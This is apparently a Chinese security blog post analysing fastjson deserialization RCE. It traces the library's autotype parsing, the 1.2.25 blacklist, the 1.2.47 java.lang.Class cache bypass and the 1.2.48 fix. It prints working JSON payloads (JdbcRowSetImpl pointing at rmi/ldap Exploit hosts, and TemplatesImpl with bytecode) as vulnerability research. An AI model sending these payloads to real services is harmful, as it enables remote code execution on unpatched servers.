fastjson RCE 分析

发表于 2020 年 2 月 1 日

简介

先看经典 payload

1{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

简单来说原因是 fastjson 支持反序列类, 并通过 setter, getter 的方式来为类设置属性, 比如 dataSourceName 就会调用 setDataSourceName("rmi://localhost:1099/Exploit"), 而有些类在 setter 之中, 可能有些副作用. 比如这个 payload 中的 com.sun.rowset.JdbcRowSetImpl.

 1public void setAutoCommit(boolean autoCommit) throws SQLException {
 2    if (this.conn != null) {
 3        this.conn.setAutoCommit(autoCommit);
 4    } else {
 5        this.conn = this.connect();
 6        this.conn.setAutoCommit(autoCommit);
 7    }
 8}
 9
10private Connection connect() throws SQLException {
11    if (this.conn != null) {
12        return this.conn;
13    } else if (this.getDataSourceName() != null) {
14        try {
15            Context ctx = new InitialContext();
16            DataSource ds = (DataSource)ctx.lookup(this.getDataSourceName());
17            return this.getUsername() != null && !this.getUsername().equals("") ? ds.getConnection(this.getUsername(), this.getPassword()) : ds.getConnection();
18        } catch (NamingException var3) {
19            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
20        }
21    } else {
22        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
23    }
24}

setAutoCommit 的时候会 ctx.lookup, 之后就是 JNDI 注入了, 先不管这个, 主要还是了解 fastjson 的问题.
除了这个 payload 还有一个基于 TemplatesImpl 的 payload,

1{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQALAoACgAaCgAbABwHAB0IAB4IAB8IACAKABsAIQcAIgoACAAaBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQExxxx"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

这个 payload 相信如果看过 ysoserial 大概都能猜出来, 不过比较不同的他的触发方法比较奇特, 不是通过 setter 来触发, 相信看完下面的内容就能理解了.

入口

一般用到最多的地方就是 spring 这种 framework, fastjson 提供了对应的接口

com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter

 1@Override
 2protected Object readInternal(Class<? extends Object> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
 3    return readType(getType(clazz, null), inputMessage);
 4}
 5
 6private Object readType(Type type, HttpInputMessage inputMessage) {
 7    try {
 8        InputStream in = inputMessage.getBody();
 9        return JSON.parseObject(in, fastJsonConfig.getCharset(), type, fastJsonConfig.getParserConfig(), fastJsonConfig.getParseProcess(), JSON.DEFAULT_PARSER_FEATURE, fastJsonConfig.getFeatures());
10    } catch (JSONException ex) {
11        throw new HttpMessageNotReadableException("JSON parse error: " + ex.getMessage(), ex);
12    } catch (IOException ex) {
13        throw new HttpMessageNotReadableException("I/O error while reading input message", ex);
14    }
15}

可以看到调用的就是 JSON.parseObject, 这是用来解析 json objcet 的, 还有个 JSON.parse, 这个可以用来解析 123, "123" 之类的 primitive.

实际上 JSON.parseObject 有很多重载, 给 spring 写的接口与平常用的并不一样.

 1public static <T> T parseObject(InputStream is, Charset charset, Type type, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) throws IOException {
 2    if (charset == null) {
 3        charset = IOUtils.UTF8;
 4    }
 5
 6    byte[] bytes = allocateBytes(1024 * 64);
 7    int offset = 0;
 8    for (;;) {
 9        int readCount = is.read(bytes, offset, bytes.length - offset);
10        if (readCount == -1) {
11            break;
12        }
13        offset += readCount;
14        if (offset == bytes.length) {
15            byte[] newBytes = new byte[bytes.length * 3 / 2];
16            System.arraycopy(bytes, 0, newBytes, 0, bytes.length);
17            bytes = newBytes;
18        }
19    }
20
21    return (T) parseObject(bytes, 0, offset, charset, type, config, processor, featureValues, features);
22}
 1public static JSONObject parseObject(String text) {
 2    Object obj = parse(text);
 3    if (obj instanceof JSONObject) {
 4        return (JSONObject) obj;
 5    }
 6
 7    try {
 8        return (JSONObject) JSON.toJSON(obj);
 9    } catch (RuntimeException e) {
10        throw new JSONException("can not cast to JSONObject.", e);
11    }
12}

平常用的在内部就是调用的 JSON.parse, 而且后面有个 toJSON, 在这其中会又序列化一遍调用 getter, 如果 getter 里面有问题, 那么也会导致漏洞. 不过一般还是用给 spring 的接口.

autotype

autotype 就是指这个反序列化 java 类的功能, 也是漏洞的源头. 在新版本里增加了黑名单检测, 所以这里先切到旧版

1if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
2                        ref = lexer.scanSymbol(this.symbolTable, '"');
3                        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

比较神奇的是它这个 parser, 只要 @type 不是这 object 的最后一个 key, 都是能正常工作的. 如果是最后一个 key, 返回一个调用默认构造器产生对象, 没有设置各种属性.
而如果不最后一个, 会调用 castToJavaBean 将之前解析的属性给赋值过去, 然后 deserializer.deserialze 走正常流程.

 1if (key == JSON.DEFAULT_TYPE_KEY
 2        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
 3    String typeName = lexer.scanSymbol(symbolTable, '"');
 4
 5    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
 6        continue;
 7    }
 8
 9    if (clazz == null) {
10            map.put(JSON.DEFAULT_TYPE_KEY, typeName);
11            continue;
12        }
13
14        lexer.nextToken(JSONToken.COMMA);
15        if (lexer.token() == JSONToken.RBRACE) { // 最后一个 key, 当然接下来就是 } 了
16            lexer.nextToken(JSONToken.COMMA);
17            try {
18                Object instance = null;
19                ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
20                if (deserializer instanceof JavaBeanDeserializer) {
21                    instance = TypeUtils.cast(object, clazz, this.config);
22                }
23
24                if (instance == null) {
25                    if (clazz == Cloneable.class) {
26                        instance = new HashMap();
27                    } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
28                        instance = Collections.emptyMap();
29                    } else if ("java.util.Collections$UnmodifiableMap".equals(typeName)) {
30                        instance = Collections.unmodifiableMap(new HashMap());
31                    } else {
32                        instance = clazz.newInstance();
33                    }
34                }
35
36                return instance;

不过按照设计, @type 肯定是放在最前面的. 这应该算 UB, 不做过多讨论.
正常情况应该是 deserializer.deserialze. 对于普通 Bean, 创建 deserialzer 是在 com.alibaba.fastjson.parser.ParserConfigthis.createJavaBeanDeserializer, 取得 setter 是在 JavaBeanInfo.build. 判断 setter 的方法如下:

 1 if (methodName.startsWith("set")) {
 2    char c3 = methodName.charAt(3);
 3    String propertyName;
 4    if (!Character.isUpperCase(c3) && c3 <= 512) {
 5        if (c3 == '_') {
 6            propertyName = methodName.substring(4);
 7        } else if (c3 == 'f') {
 8            propertyName = methodName.substring(3);
 9        } else {
10            if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
11                continue;
12            }
13
14            propertyName = TypeUtils.decapitalize(methodName.substring(3));
15        }
16    } else if (TypeUtils.compatibleWithJavaBean) {
17        propertyName = TypeUtils.decapitalize(methodName.substring(3));
18    } else {
19        propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
20    }

很明显, 适配了常见的两种命名方式, set_xxx 和 setXxx, 下划线和驼峰, 还有一个 fxxx 命名方式没见过, 可能是阿里内部用的多吧 (逃

但是除了这种 setter, 实际上还会调用一些 getter, 先看相关代码

com.alibaba.fastjson.util.JavaBeanInfo

 1var30 = clazz.getMethods();
 2var29 = var30.length;
 3
 4for(i = 0; i < var29; ++i) {
 5    method = var30[i];
 6    String methodName = method.getName();
 7    if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
 8        JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);
 9        if (annotation == null || !annotation.deserialize()) {
10            String propertyName;
11            if (annotation != null && annotation.name().length() > 0) {
12                propertyName = annotation.name();
13            } else {
14                propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
15            }

可以看到判断了一下开头为 get, 且第四位为大写, 重点是后面检测了返回值, 必须继承 Map, Collection 或者是 AtomicXxxx. 这些是干嘛的呢?
可以看一下具体这些方法会被怎么调用就知道了

com.alibaba.fastjson.parser.deserializer.FieldDeserializer

 1public void setValue(Object object, Object value) {
 2    if (value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
 3        try {
 4            Method method = this.fieldInfo.method;
 5            if (method != null) { // 优先调用 method, 下面是直接复制给 field, 与这里类似, 不复制了
 6                if (this.fieldInfo.getOnly) {
 7                    if (this.fieldInfo.fieldClass == AtomicInteger.class) {
 8                        AtomicInteger atomic = (AtomicInteger)method.invoke(object);
 9                        if (atomic != null) {
10                            atomic.set(((AtomicInteger)value).get());
11                        }
12                    } else if (this.fieldInfo.fieldClass == AtomicLong.class) {
13                        AtomicLong atomic = (AtomicLong)method.invoke(object);
14                        if (atomic != null) {
15                            atomic.set(((AtomicLong)value).get());
16                        }
17                    } else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {
18                        AtomicBoolean atomic = (AtomicBoolean)method.invoke(object);
19                        if (atomic != null) {
20                            atomic.set(((AtomicBoolean)value).get());
21                        }
22                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
23                        Map map = (Map)method.invoke(object);
24                        if (map != null) {
25                            map.putAll((Map)value);
26                        }
27                    } else {
28                        Collection collection = (Collection)method.invoke(object);
29                        if (collection != null) {
30                            collection.addAll((Collection)value);
31                        }
32                    }
33                } else {
34                    method.invoke(object, value);
35                }

可以看到是调用了 getter, 然后赋值给这些对象, 相信现在就能明白这些是干嘛的了, 如果有一个对象, 里面有一个属性是 HashMap test, 且有一个 public HashMap getTest() 方法, 那么在反序列化时, {"@type": "xxx.xxx", "test": {"aa": "sss"}}, key => aa, value => sss 将会被加到 test 里面去, 这算一个小 feature 吧, 方便开发. 但是确实有点反直觉.

这里顺便看一下正规反序列 (toJSON, toJSONString) 时使用的 getter 是怎么判断的, 在 com.alibaba.fastjson.util.TypeUtilsbuildBeanInfo, 里面调用了 computeGetters

 1if(methodName.startsWith("get")){
 2    if(methodName.length() < 4){
 3        continue;
 4    }
 5    if(methodName.equals("getClass")){
 6        continue;
 7    }
 8    if(methodName.equals("getDeclaringClass") && clazz.isEnum()){
 9        continue;
10    }
11    char c3 = methodName.charAt(3);
12    String propertyName;
13    Field field = null;
14    if(Character.isUpperCase(c3) //
15            || c3 > 512 // for unicode method name
16            ){
17        if(compatibleWithJavaBean){
18            propertyName = decapitalize(methodName.substring(3));
19        } else{
20            propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
21        }
22        propertyName = getPropertyNameByCompatibleFieldName(fieldCacheMap, methodName, propertyName, 3);
23    } else if(c3 == '_'){
24        propertyName = methodName.substring(4);
25        field = fieldCacheMap.get(propertyName);
26        if (field == null) {
27            String temp = propertyName;
28            propertyName = methodName.substring(3);
29            field = ParserConfig.getFieldFromCache(propertyName, fieldCacheMap);
30            if (field == null) {
31                propertyName = temp; //减少修改代码带来的影响
32            }
33        }
34    } else if(c3 == 'f'){
35        propertyName = methodName.substring(3);
36    } else if(methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))){
37        propertyName = decapitalize(methodName.substring(3));
38    } else{
39        propertyName = methodName.substring(3);
40        field = ParserConfig.getFieldFromCache(propertyName, fieldCacheMap);
41        if (field == null) {
42            continue;
43        }
44    }

可以看到规则是跟取 setter 类似的, 就是方法名开头从 set 改成 get.

总结一下有 @type 的反序列化大致流程

  1. parse 到 key = @type, 将 value 作为 class
  2. 反射出类的构造器, 方法, 等
  3. 若不是一些内置包装类或者特殊类 + 存在默认构造器, 那么调用 JavaBeanInfo.build 得到 getter, setter, 属性的信息
  4. 继续扫描 json, 若有对应的 key 可以找到 setter 或者属性, 就调用 setter 或者直接赋值给属性

另外 autotype 是可以嵌套的, 比如可以

 1[
 2    {
 3        "@type": "xxx.xxx",
 4        "xxx": "xxx"
 5    },
 6    {
 7        "@type": "xxx.xxx",
 8        "xxx": {
 9            "@type": ""
10        }
11    },
12    {
13        "@type": "xxx"
14    } : "xx"
15]

作为 array 里面的元素, object 的 value 都是可以的, 甚至可以作为 key, 会调用 toString 方法作为 JSONObject 的 key.

所以看了反序列化的流程, 那么挖掘反序列化漏洞, 可以重点看

  1. 无参构造器
  2. public 单参数 setter
  3. 返回值类型继承 Map, Collection 或者是 AtomicXxxx 的无参 getter 方法
  4. toString
  5. 如果是手动调用的 parseObject, 那么 getter 的范围可以扩大

TemplateImpl POC 分析

JdbcRowSetImpl 的 POC 比较简单, 一开始就已经分析好了. TemplateImpl 相对比较复杂, 有很多用到了 fastjson 的一些特性, 比如

1{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQALAoACgAaCgAbABwHAB0IAB4IAB8IACAKABsAIQcAIgoACAAaBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQE...."],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

其中 _bytecodes 是 private 的, 能赋值成功需要目标开启 Feature.SupportNonPublicField (默认关闭) 才能强制将值赋给 private 的属性. 所以这个 payload 说实话还是图一乐, 估计也就 CTF 用的到.

另外可以看到 _bytecodes 是 base64 过的, 因为 json 标准里面是不能直接序列化 binary 的, fastjson 对 byte[] 在反序列时会 base64 decode 一下.

不同与上面的 payload 的是这里触发的就不是 setter 了, 而是我们特别提到过的特殊 getter. 这里是 _outputProperties

1public synchronized Properties getOutputProperties() {
2    try {
3        return this.newTransformer().getOutputProperties();
4    } catch (TransformerConfigurationException var2) {
5        return null;
6    }
7}

而 Properties 继承于 Hashtable, 最后继承到 Map. 完美符合条件, 方法里面的 newTransformer 最后触发 defineTransletClasses, 导致实例化 bytecode, 最后 RCE.
这里 _outputProperties 匹配到 getOutputProperties 这个 getter 的原因是匹配时会把 key 里面的 _ 给全部替换为空 (估计是为了方便前端 js 下划线命名可以不用特意替换成驼峰命名), 具体代码分析可以看看底下推荐阅读的 3 号.
所以这里 payload 可以写成 outputProperties, 这个 _ 可有可无, 而且在扫描到 _outputProperties 就已经触发, 后面的属性也是多余的… 所以这个 payload 其实等价于

1{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQALAoACgAaCgAbABwHAB0IAB4IAB8IACAKABsAIQcAIgoACAAaBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQE...."],"_name":"anything","_tfactory":{ },"outputProperties":{ }}

1.2.25 修复

1//1.2.24
2Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
3//1.2.25
4Class<?> clazz = config.checkAutoType(typeName);

不再直接 Class.forName 了, 而是加上了不少限制

 1if (typeName == null) {
 2        return null;
 3    }
 4
 5    final String className = typeName.replace('$', '.');
 6
 7    if (autoTypeSupport) {
 8        for (int i = 0; i < denyList.length; ++i) {
 9            String deny = denyList[i];
10            if (className.startsWith(deny)) {
11                throw new JSONException("autoType is not support. " + typeName);
12            }
13        }
14    }
15
16    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
17    if (clazz == null) {
18        clazz = derializers.findClass(typeName);
19    }
20
21    if (clazz != null) {
22        return clazz;
23    }
24
25    for (int i = 0; i < acceptList.length; ++i) {
26        String accept = acceptList[i];
27        if (className.startsWith(accept)) {
28            return TypeUtils.loadClass(typeName, defaultClassLoader);
29        }
30    }
31
32    if (autoTypeSupport) {
33        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
34    }

首先是加了一个 Feature, 且默认关闭, 也就是说默认不支持 @type 这种反序列类的方法了. 而且就算打开了, 还有了黑名单, 直接 ban 掉了之前的那两个 payload 的类.

1.2.47 绕过

在这之间也出现不少绕过, 但是需要手动开始 autoType, 可以看看推荐阅读的 4 号. 而 1.2.47 版本出现的这个绕过就比较牛逼, 不开始 autoType 这个 feature 也能打.

先看 payload

 1{
 2    "a": {
 3        "@type": "java.lang.Class", 
 4        "val": "com.sun.rowset.JdbcRowSetImpl"
 5    }, 
 6    "b": {
 7        "@type": "com.sun.rowset.JdbcRowSetImpl", 
 8        "dataSourceName": "ldap://localhost:1389/Exploit", 
 9        "autoCommit": true
10    }
11}

先看这个 java.lang.Class, 需要知道一点, fastjson 有很多对内置类的提前做好的反序列化器. 可以在 com.alibaba.fastjson.parser.ParserConfiginitDeserializers 的方法看到. 这个方法在类构造时就会被调用, 而其中

1//...省略
2deserializers.put(boolean.class, BooleanCodec.instance);
3deserializers.put(Boolean.class, BooleanCodec.instance);
4deserializers.put(Class.class, MiscCodec.instance);
5deserializers.put(char[].class, new CharArrayCodec());
6//...省略

在反序列化时会优先使用这些预定义好的反序列器, 如果不存在的话, 才会去调用 createJavaBeanDeserializer, 去读取目标类的 setter, getter, 属性等去反序列化.
而对于 Class.class, 反序列化方法是

 1Object objVal;
 2
 3if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
 4    parser.resolveStatus = DefaultJSONParser.NONE;
 5    parser.accept(JSONToken.COMMA);
 6
 7    if (lexer.token() == JSONToken.LITERAL_STRING) {
 8        if (!"val".equals(lexer.stringVal())) {
 9            throw new JSONException("syntax error");
10        }
11        lexer.nextToken();
12    } else {
13        throw new JSONException("syntax error");
14    }
15
16    parser.accept(JSONToken.COLON);
17
18    objVal = parser.parse();
19
20    parser.accept(JSONToken.RBRACE);
21} else {
22    objVal = parser.parse();
23}
24
25String strVal;
26
27if (objVal == null) {
28    strVal = null;
29} else if (objVal instanceof String) {
30    strVal = (String) objVal;
31} else {
32// ... 省略
33}
34// ... 省略
35
36if (clazz == Class.class) {
37    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
38}

可以看到就是将 val 作为类名, 然后用 classloader 去 load 这个 class, 然后返回这个类的 Class 对象.
然后回到 fastjson

 1if (autoTypeSupport || expectClass != null) { // <-- 默认 autoType 关闭, expectClass = null 这一段可以无视
 2    long hash = h3;
 3    for (int i = 3; i < className.length(); ++i) {
 4        hash ^= className.charAt(i);
 5        hash *= PRIME;
 6        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
 7            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
 8            if (clazz != null) {
 9                return clazz;
10            }
11        }
12        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
13            throw new JSONException("autoType is not support. " + typeName);
14        }
15    }
16}
17
18if (clazz == null) {
19    clazz = TypeUtils.getClassFromMapping(typeName);
20}
21
22if (clazz == null) {
23    clazz = deserializers.findClass(typeName);
24}
25
26if (clazz != null) {
27    if (expectClass != null
28            && clazz != java.util.HashMap.class
29            && !expectClass.isAssignableFrom(clazz)) {
30        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
31    }
32
33    return clazz;
34}

重点在 deserializers.findClass(typeName);

 1public Class findClass(String keyString) {
 2    for (int i = 0; i < buckets.length; i++) {
 3        Entry bucket = buckets[i];
 4
 5        if (bucket == null) {
 6            continue;
 7        }
 8
 9        for (Entry<K, V> entry = bucket; entry != null; entry = entry.next) {
10            Object key = bucket.key;
11            if (key instanceof Class) {
12                Class clazz = ((Class) key);
13                String className = clazz.getName();
14                if (className.equals(keyString)) {
15                    return clazz;
16                }
17            }
18        }
19    }
20
21    return null;
22}

这个 bucket 就是 put 方法会存进去的 bucket, 所以这里因为是内置类, 其实等价于白名单, 所以直接返回了 clazz, autoType 即使关闭也是可以正常反序列化这些对象的. 比如 Integer, String, URL 等等内置常见对象的.

而问题也是出在这里, 还记得 Class 的反序列化方式么, 会调用 TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),

 1public static Class<?> loadClass(String className, ClassLoader classLoader) {
 2    return loadClass(className, classLoader, true);
 3}
 4
 5public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
 6    if(className == null || className.length() == 0){
 7        return null;
 8    }
 9    Class<?> clazz = mappings.get(className);
10    if(clazz != null){
11        return clazz;
12    }
13    if(className.charAt(0) == '['){
14        Class<?> componentType = loadClass(className.substring(1), classLoader);
15        return Array.newInstance(componentType, 0).getClass();
16    }
17    if(className.startsWith("L") && className.endsWith(";")){
18        String newClassName = className.substring(1, className.length() - 1);
19        return loadClass(newClassName, classLoader);
20    }
21    try{
22        if(classLoader != null){
23            clazz = classLoader.loadClass(className);
24            if (cache) {
25                mappings.put(className, clazz);
26            }
27            return clazz;
28        }
29    }

注意 mappings.put(className, clazz), 如果这个类存在, 会将其放入 TypeUtils 里面的这个缓存中.

又回到 checkAutoType 中, 注意这个

com.alibaba.fastjson.parser.ParserConfig

1if (clazz == null) {
2    clazz = TypeUtils.getClassFromMapping(typeName);
3}
4
5if (clazz == null) {
6    clazz = deserializers.findClass(typeName);
7}

com.alibaba.fastjson.util.TypeUtils

1public static Class<?> getClassFromMapping(String className){
2    return mappings.get(className);
3}

除了在 deserializers 里面寻找, 还会在 TypeUtils 的缓存里面寻找, 而刚刚我们通过 Class 的反序列化方法, 将我们想要的类放入了缓存中. 这就到达了绕过的效果, 意味着就算我们关闭了 autoType, 照样可以进行利用, 漏洞的发现者 tql.

这里的本意, 应该是加快速度, 毕竟如果你之前加载过这个类, 当然是在白名单里面的, 但是问题出现在 Class 的反序列器也会调用 loadClass, 这是开发者忘记掉的. 导致恶意类被放入了缓存中, 绕过了检测.

1.2.48 修复

对应的修复

1public static Class<?> loadClass(String className, ClassLoader classLoader) {
2    return loadClass(className, classLoader, false);
3}

将 loadClass 的 cache 设为 false, 这样反序列 Class 对象的时候, 就不会将结果放入缓存中, 自然也就无法绕过 checkAutoType 了.

本文参考/推荐阅读

[1] http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
[2] https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
[3] https://kingx.me/Details-in-FastJson-RCE.html
[4] https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/